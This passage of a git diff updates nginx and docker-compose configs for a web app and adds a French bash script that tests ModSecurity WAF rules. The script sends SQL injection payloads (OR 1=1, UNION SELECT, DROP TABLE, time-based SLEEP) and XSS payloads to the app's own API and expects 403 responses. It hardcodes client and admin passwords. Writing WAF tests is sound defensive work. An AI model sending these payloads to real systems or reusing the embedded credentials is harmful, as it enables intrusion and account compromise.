||||||
|
keepalive 8;
|
||||||
|
}
|
||||||
|
|
||||||
# =========================================================
|
# =========================================================
|
||||||
# HTTP → HTTPS redirect
|
# HTTP → HTTPS redirect
|
||||||
# =========================================================
|
# =========================================================
|
||||||
@@ -45,7 +58,7 @@ server {
|
|||||||
ssl_stapling on;
|
ssl_stapling on;
|
||||||
ssl_stapling_verify on;
|
ssl_stapling_verify on;
|
||||||
ssl_trusted_certificate /etc/nginx/certs/fullchain.pem;
|
ssl_trusted_certificate /etc/nginx/certs/fullchain.pem;
|
||||||
resolver 127.0.0.11 valid=10s ipv6=off;
|
resolver 1.1.1.1 8.8.8.8 valid=300s;
|
||||||
resolver_timeout 5s;
|
resolver_timeout 5s;
|
||||||
|
|
||||||
# ---------------------------------------------------
|
# ---------------------------------------------------
|
||||||
@@ -105,8 +118,7 @@ server {
|
|||||||
return 204;
|
return 204;
|
||||||
}
|
}
|
||||||
|
|
||||||
set $upstream_backend http://backend:8080;
|
proxy_pass http://backend;
|
||||||
proxy_pass $upstream_backend;
|
|
||||||
proxy_http_version 1.1;
|
proxy_http_version 1.1;
|
||||||
proxy_set_header Connection "";
|
proxy_set_header Connection "";
|
||||||
proxy_set_header Host $host;
|
proxy_set_header Host $host;
|
||||||
@@ -126,29 +138,12 @@ server {
|
|||||||
}
|
}
|
||||||
|
|
||||||
# ---------------------------------------------------
|
# ---------------------------------------------------
|
||||||
# Webhook Telegram principal → backend Go
|
# Webhook Telegram
|
||||||
# ---------------------------------------------------
|
# ---------------------------------------------------
|
||||||
location = /webhook/telegram {
|
location = /webhook/telegram {
|
||||||
limit_except POST { deny all; }
|
limit_except POST { deny all; }
|
||||||
|
|
||||||
set $upstream_backend http://backend:8080;
|
proxy_pass http://backend;
|
||||||
proxy_pass $upstream_backend;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_set_header Connection "";
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
proxy_set_header X-Forwarded-Proto $scheme;
|
|
||||||
}
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…)
|
|
||||||
# ---------------------------------------------------
|
|
||||||
location /webhook/ {
|
|
||||||
limit_except POST { deny all; }
|
|
||||||
|
|
||||||
set $upstream_lbtelegram http://lbtelegram:8081;
|
|
||||||
proxy_pass $upstream_lbtelegram;
|
|
||||||
proxy_http_version 1.1;
|
proxy_http_version 1.1;
|
||||||
proxy_set_header Connection "";
|
proxy_set_header Connection "";
|
||||||
proxy_set_header Host $host;
|
proxy_set_header Host $host;
|
||||||
@@ -175,8 +170,7 @@ server {
|
|||||||
# Frontend React SPA
|
# Frontend React SPA
|
||||||
# ---------------------------------------------------
|
# ---------------------------------------------------
|
||||||
location / {
|
location / {
|
||||||
set $upstream_frontend http://frontend:80;
|
proxy_pass http://frontend;
|
||||||
proxy_pass $upstream_frontend;
|
|
||||||
proxy_http_version 1.1;
|
proxy_http_version 1.1;
|
||||||
proxy_set_header Connection "";
|
proxy_set_header Connection "";
|
||||||
proxy_set_header Host $host;
|
proxy_set_header Host $host;
|
||||||
@@ -22,23 +22,20 @@ services:
|
|||||||
- REDIS_PORT=${REDIS_PORT:-6379}
|
- REDIS_PORT=${REDIS_PORT:-6379}
|
||||||
- REDIS_PASSWORD=${REDIS_PASSWORD}
|
- REDIS_PASSWORD=${REDIS_PASSWORD}
|
||||||
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
|
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
|
||||||
- TOMTOM_API_KEY_1=${TOMTOM_API_KEY_1}
|
|
||||||
- TOMTOM_API_KEY_2=${TOMTOM_API_KEY_2}
|
|
||||||
- TOMTOM_API_KEY_3=${TOMTOM_API_KEY_3}
|
|
||||||
- API_PORT=${API_PORT:-8080}
|
- API_PORT=${API_PORT:-8080}
|
||||||
- NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET}
|
|
||||||
- TELEGRAM_BOT_TOKEN=${TELEGRAM_BOT_TOKEN}
|
|
||||||
- TELEGRAM_BOT_USERNAME=${TELEGRAM_BOT_USERNAME}
|
|
||||||
- TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET}
|
|
||||||
- TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL}
|
- TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL}
|
||||||
- LBTELEGRAM_URL=http://lbtelegram:8081
|
- TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET}
|
||||||
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
|
- NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET}
|
||||||
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
|
|
||||||
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
|
|
||||||
volumes:
|
volumes:
|
||||||
- backend_uploads:/app/uploads
|
- backend_uploads:/app/uploads
|
||||||
networks:
|
networks:
|
||||||
- gestion-network
|
- gestion-network
|
||||||
|
depends_on:
|
||||||
|
postgres:
|
||||||
|
condition: service_healthy
|
||||||
|
redis:
|
||||||
|
condition: service_healthy
|
||||||
|
|
||||||
# =========================================================
|
# =========================================================
|
||||||
# Frontend Web (React/Vite — servi en HTTP interne)
|
# Frontend Web (React/Vite — servi en HTTP interne)
|
||||||
# =========================================================
|
# =========================================================
|
||||||
@@ -60,17 +57,12 @@ services:
|
|||||||
- PARANOIA=2
|
- PARANOIA=2
|
||||||
- ANOMALY_INBOUND=5
|
- ANOMALY_INBOUND=5
|
||||||
- ANOMALY_OUTBOUND=4
|
- ANOMALY_OUTBOUND=4
|
||||||
- MODSEC_AUDIT_LOG=/var/log/modsec/modsec_audit.log
|
|
||||||
ports:
|
ports:
|
||||||
- "80:80"
|
- "80:80"
|
||||||
- "443:443"
|
- "443:443"
|
||||||
volumes:
|
volumes:
|
||||||
- backend_uploads:/usr/share/nginx/html/uploads:ro
|
- backend_uploads:/usr/share/nginx/html/uploads:ro
|
||||||
- ./certs:/etc/nginx/certs:ro
|
- ./certs:/etc/nginx/certs:ro
|
||||||
- ./backend/nginx.conf:/etc/nginx/conf.d/app.conf:ro
|
|
||||||
- ./backend/custom-rules.conf:/etc/nginx/modsec/custom-rules.conf:ro
|
|
||||||
- /var/log/waf/nginx:/var/log/nginx
|
|
||||||
- /var/log/waf/modsec:/var/log/modsec
|
|
||||||
networks:
|
networks:
|
||||||
- gestion-network
|
- gestion-network
|
||||||
depends_on:
|
depends_on:
|
||||||
@@ -78,25 +70,73 @@ services:
|
|||||||
- frontend
|
- frontend
|
||||||
|
|
||||||
# =========================================================
|
# =========================================================
|
||||||
# LBTelegram — Gateway Telegram load balancer
|
# PostgreSQL
|
||||||
# =========================================================
|
# =========================================================
|
||||||
lbtelegram:
|
postgres:
|
||||||
image: xor1234/load-balancer-tlg:latest
|
image: postgres:16-alpine
|
||||||
container_name: gestion-lbtelegram
|
container_name: gestion-postgres
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
env_file: ./.env.lbtelegram
|
|
||||||
environment:
|
environment:
|
||||||
- REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0
|
- POSTGRES_USER=${DB_USER:-postgres}
|
||||||
- DATABASE_URL=postgres://${DB_USER}:${DB_PASSWORD}@postgres:5432/${DB_NAME}?sslmode=disable
|
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
||||||
|
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
||||||
|
- PGDATA=/var/lib/postgresql/data/pgdata
|
||||||
|
volumes:
|
||||||
|
- postgres_data:/var/lib/postgresql/data
|
||||||
networks:
|
networks:
|
||||||
- gestion-network
|
- gestion-network
|
||||||
depends_on:
|
healthcheck:
|
||||||
postgres:
|
test:
|
||||||
condition: service_healthy
|
[
|
||||||
redis:
|
"CMD-SHELL",
|
||||||
condition: service_healthy
|
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
||||||
backend:
|
]
|
||||||
condition: service_started
|
interval: 10s
|
||||||
|
timeout: 5s
|
||||||
|
retries: 5
|
||||||
|
start_period: 10s
|
||||||
|
|
||||||
|
# =========================================================
|
||||||
|
# Redis
|
||||||
|
# =========================================================
|
||||||
|
redis:
|
||||||
|
image: redis:7-alpine
|
||||||
|
container_name: gestion-redis
|
||||||
|
restart: unless-stopped
|
||||||
|
command: >
|
||||||
|
redis-server
|
||||||
|
--requirepass ${REDIS_PASSWORD}
|
||||||
|
--appendonly yes
|
||||||
|
--appendfsync everysec
|
||||||
|
--maxmemory 256mb
|
||||||
|
--maxmemory-policy allkeys-lru
|
||||||
|
volumes:
|
||||||
|
- redis_data:/data
|
||||||
|
networks:
|
||||||
|
- gestion-network
|
||||||
|
healthcheck:
|
||||||
|
test:
|
||||||
|
[
|
||||||
|
"CMD",
|
||||||
|
"redis-cli",
|
||||||
|
"--no-auth-warning",
|
||||||
|
"-a",
|
||||||
|
"${REDIS_PASSWORD}",
|
||||||
|
"ping",
|
||||||
|
]
|
||||||
|
interval: 10s
|
||||||
|
timeout: 3s
|
||||||
|
retries: 5
|
||||||
|
start_period: 10s
|
||||||
|
|
||||||
|
dozzle-agent:
|
||||||
|
image: amir20/dozzle:latest
|
||||||
|
command: agent
|
||||||
|
volumes:
|
||||||
|
- /var/run/docker.sock:/var/run/docker.sock:ro
|
||||||
|
ports:
|
||||||
|
- "7007:7007"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
clamav:
|
clamav:
|
||||||
deploy:
|
deploy:
|
||||||
@@ -119,15 +159,6 @@ services:
|
|||||||
retries: 3
|
retries: 3
|
||||||
start_period: 120s
|
start_period: 120s
|
||||||
|
|
||||||
dozzle-agent:
|
|
||||||
image: amir20/dozzle:latest
|
|
||||||
command: agent
|
|
||||||
volumes:
|
|
||||||
- /var/run/docker.sock:/var/run/docker.sock:ro
|
|
||||||
ports:
|
|
||||||
- "7007:7007"
|
|
||||||
restart: unless-stopped
|
|
||||||
|
|
||||||
networks:
|
networks:
|
||||||
gestion-network:
|
gestion-network:
|
||||||
driver: bridge
|
driver: bridge
|
||||||
@@ -16,7 +16,7 @@ RUN npm run build
|
|||||||
# =========================================================
|
# =========================================================
|
||||||
FROM nginx:alpine AS runtime
|
FROM nginx:alpine AS runtime
|
||||||
|
|
||||||
COPY docker-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
COPY docker/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
||||||
|
|
||||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||||
|
|
||||||
Executable
+610
@@ -0,0 +1,610 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
|
||||||
|
# =============================================================================
|
||||||
|
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
|
||||||
|
# Usage: ./test-rules.sh
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
# Couleurs pour l'affichage
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
PURPLE='\033[0;35m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
BOLD='\033[1m'
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
API_BASE_URL="http://172.20.167.237"
|
||||||
|
|
||||||
|
# Credentials Client
|
||||||
|
CLIENT_USERNAME="salut"
|
||||||
|
CLIENT_PASSWORD="salut1234_"
|
||||||
|
CLIENT_TOKEN=""
|
||||||
|
|
||||||
|
# Credentials Admin
|
||||||
|
ADMIN_USERNAME="admin_1768505094"
|
||||||
|
ADMIN_PASSWORD="AdminPass123!"
|
||||||
|
ADMIN_TOKEN=""
|
||||||
|
|
||||||
|
TOTAL_TESTS=0
|
||||||
|
PASSED_TESTS=0
|
||||||
|
FAILED_TESTS=0
|
||||||
|
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Fonctions Utilitaires
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
print_header() {
|
||||||
|
echo -e "\n${BOLD}${CYAN}========================================${NC}"
|
||||||
|
echo -e "${BOLD}${CYAN}$1${NC}"
|
||||||
|
echo -e "${BOLD}${CYAN}========================================${NC}\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_section() {
|
||||||
|
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_test() {
|
||||||
|
echo -e "${YELLOW}[TEST] $1${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_success() {
|
||||||
|
((PASSED_TESTS++))
|
||||||
|
((TOTAL_TESTS++))
|
||||||
|
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_fail() {
|
||||||
|
((FAILED_TESTS++))
|
||||||
|
((TOTAL_TESTS++))
|
||||||
|
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_info() {
|
||||||
|
echo -e "${CYAN}ℹ INFO${NC} - $1"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_warning() {
|
||||||
|
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_response() {
|
||||||
|
echo -e "${PURPLE}📄 Response:${NC} $1"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fonction pour effectuer une requête HTTP avec token client
|
||||||
|
http_test_client() {
|
||||||
|
local method=$1
|
||||||
|
local endpoint=$2
|
||||||
|
local data=$3
|
||||||
|
local expected_code=$4
|
||||||
|
local description=$5
|
||||||
|
local extra_headers=$6
|
||||||
|
|
||||||
|
print_test "$description"
|
||||||
|
|
||||||
|
if [ -z "$data" ]; then
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
$extra_headers \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
else
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
$extra_headers \
|
||||||
|
-d "$data" \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
fi
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq "$expected_code" ]; then
|
||||||
|
print_success "$description (HTTP $http_code)"
|
||||||
|
else
|
||||||
|
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||||
|
print_response "$body"
|
||||||
|
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||||
|
echo "Response: $body" >> "$LOG_FILE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep 0.5
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fonction pour effectuer une requête HTTP avec token admin
|
||||||
|
http_test_admin() {
|
||||||
|
local method=$1
|
||||||
|
local endpoint=$2
|
||||||
|
local data=$3
|
||||||
|
local expected_code=$4
|
||||||
|
local description=$5
|
||||||
|
local extra_headers=$6
|
||||||
|
|
||||||
|
print_test "$description"
|
||||||
|
|
||||||
|
if [ -z "$data" ]; then
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
$extra_headers \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
else
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
$extra_headers \
|
||||||
|
-d "$data" \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
fi
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq "$expected_code" ]; then
|
||||||
|
print_success "$description (HTTP $http_code)"
|
||||||
|
echo "$body"
|
||||||
|
else
|
||||||
|
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||||
|
print_response "$body"
|
||||||
|
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||||
|
echo "Response: $body" >> "$LOG_FILE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep 0.5
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fonction pour effectuer une requête HTTP sans authentification
|
||||||
|
http_test_no_auth() {
|
||||||
|
local method=$1
|
||||||
|
local endpoint=$2
|
||||||
|
local data=$3
|
||||||
|
local expected_code=$4
|
||||||
|
local description=$5
|
||||||
|
|
||||||
|
print_test "$description"
|
||||||
|
|
||||||
|
if [ -z "$data" ]; then
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
else
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "$data" \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
fi
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq "$expected_code" ]; then
|
||||||
|
print_success "$description (HTTP $http_code)"
|
||||||
|
else
|
||||||
|
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||||
|
print_response "$body"
|
||||||
|
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||||
|
echo "Response: $body" >> "$LOG_FILE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep 0.5
|
||||||
|
}
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Authentification
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
authenticate() {
|
||||||
|
print_header "AUTHENTIFICATION"
|
||||||
|
|
||||||
|
# ==================== CLIENT LOGIN ====================
|
||||||
|
print_section "1. Login Client"
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
|
||||||
|
"${API_BASE_URL}/api/v1/auth/login")
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq 200 ]; then
|
||||||
|
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||||
|
if [ -n "$CLIENT_TOKEN" ]; then
|
||||||
|
print_success "Login Client réussi - Token obtenu"
|
||||||
|
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
|
||||||
|
else
|
||||||
|
print_fail "Login Client réussi mais token non trouvé"
|
||||||
|
print_response "$body"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
print_fail "Échec du login Client (HTTP $http_code)"
|
||||||
|
print_response "$body"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ==================== ADMIN LOGIN ====================
|
||||||
|
print_section "2. Login Admin"
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
|
||||||
|
"${API_BASE_URL}/api/v2/admin/auth/login")
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq 200 ]; then
|
||||||
|
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||||
|
if [ -n "$ADMIN_TOKEN" ]; then
|
||||||
|
print_success "Login Admin réussi - Token obtenu"
|
||||||
|
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
|
||||||
|
else
|
||||||
|
print_fail "Login Admin réussi mais token non trouvé"
|
||||||
|
print_response "$body"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
print_fail "Échec du login Admin (HTTP $http_code)"
|
||||||
|
print_response "$body"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Tests SQL Injection
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
test_sql_injection() {
|
||||||
|
print_header "TESTS SQL INJECTION"
|
||||||
|
|
||||||
|
print_section "1. SQL Injection - Login"
|
||||||
|
|
||||||
|
# Test 1: SQL Injection classique dans login client
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||||
|
403 "SQLi - Login Client OR 1=1"
|
||||||
|
|
||||||
|
# Test 2: SQL Injection dans login admin
|
||||||
|
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
|
||||||
|
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||||
|
403 "SQLi - Login Admin OR 1=1"
|
||||||
|
|
||||||
|
# Test 3: SQL Injection avec UNION
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
|
||||||
|
403 "SQLi - UNION SELECT"
|
||||||
|
|
||||||
|
# Test 4: SQL Injection avec DROP TABLE
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
|
||||||
|
403 "SQLi - DROP TABLE"
|
||||||
|
|
||||||
|
# Test 5: SQL Injection avec commentaire
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\''--","password":"test"}' \
|
||||||
|
403 "SQLi - Commentaire SQL --"
|
||||||
|
|
||||||
|
print_section "2. SQL Injection - Panier"
|
||||||
|
|
||||||
|
# Test 6: SQL Injection dans name_product
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
|
||||||
|
403 "SQLi - Panier name_product"
|
||||||
|
|
||||||
|
# Test 7: SQL Injection dans category
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
|
||||||
|
403 "SQLi - Panier category"
|
||||||
|
|
||||||
|
print_section "3. SQL Injection - Admin"
|
||||||
|
|
||||||
|
# Test 8: SQL Injection dans username pénalité
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||||
|
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
|
||||||
|
403 "SQLi - Username pénalité"
|
||||||
|
|
||||||
|
# Test 9: SQL Injection dans paramètres commandes
|
||||||
|
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
|
||||||
|
"" \
|
||||||
|
403 "SQLi - Paramètres commandes"
|
||||||
|
|
||||||
|
# Test 10: SQL Injection dans ID commande
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
|
||||||
|
"" \
|
||||||
|
403 "SQLi - ID commande"
|
||||||
|
|
||||||
|
# Test 11: SQL Injection dans username livreur
|
||||||
|
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
|
||||||
|
"" \
|
||||||
|
403 "SQLi - Username livreur"
|
||||||
|
|
||||||
|
print_section "4. SQL Injection - Commandes Client"
|
||||||
|
|
||||||
|
# Test 12: SQL Injection dans adresse checkout
|
||||||
|
http_test_client "POST" "/api/v1/checkout" \
|
||||||
|
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
|
||||||
|
403 "SQLi - Adresse checkout"
|
||||||
|
|
||||||
|
# Test 13: SQL Injection nom produit admin
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||||
|
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
|
||||||
|
403 "SQLi - Nom produit admin"
|
||||||
|
|
||||||
|
print_section "5. SQL Injection - Variantes avancées"
|
||||||
|
|
||||||
|
# Test 14: SQL Injection avec AND
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
|
||||||
|
403 "SQLi - AND condition"
|
||||||
|
|
||||||
|
# Test 15: SQL Injection avec encodage hex
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
|
||||||
|
403 "SQLi - Encodage hex"
|
||||||
|
|
||||||
|
# Test 16: SQL Injection avec SLEEP (Time-based)
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
|
||||||
|
403 "SQLi - Time-based SLEEP"
|
||||||
|
|
||||||
|
# Test 17: SQL Injection avec BENCHMARK
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
|
||||||
|
403 "SQLi - BENCHMARK"
|
||||||
|
|
||||||
|
# Test 18: SQL Injection avec sous-requête
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
|
||||||
|
403 "SQLi - Sous-requête"
|
||||||
|
}
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Tests XSS (Cross-Site Scripting)
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
test_xss() {
|
||||||
|
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
|
||||||
|
|
||||||
|
print_section "1. XSS - Login"
|
||||||
|
|
||||||
|
# Test 1: XSS basique avec script tag
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||||
|
403 "XSS - Script tag basique"
|
||||||
|
|
||||||
|
# Test 2: XSS avec event handler
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - Event handler onerror"
|
||||||
|
|
||||||
|
# Test 3: XSS avec SVG
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<svg onload=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - SVG onload"
|
||||||
|
|
||||||
|
print_section "2. XSS - Panier"
|
||||||
|
|
||||||
|
# Test 4: XSS dans name_product
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
|
||||||
|
403 "XSS - Panier name_product"
|
||||||
|
|
||||||
|
# Test 5: XSS dans category
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
|
||||||
|
403 "XSS - Panier category"
|
||||||
|
|
||||||
|
print_section "3. XSS - Admin"
|
||||||
|
|
||||||
|
# Test 6: XSS dans raison pénalité
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||||
|
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
|
||||||
|
400 "XSS - Raison pénalité"
|
||||||
|
|
||||||
|
# Test 7: XSS dans paramètres commandes
|
||||||
|
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
|
||||||
|
"" \
|
||||||
|
403 "XSS - Paramètres commandes"
|
||||||
|
|
||||||
|
# Test 8: XSS dans description produit
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||||
|
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
|
||||||
|
403 "XSS - Description produit"
|
||||||
|
|
||||||
|
print_section "4. XSS - Commandes Client"
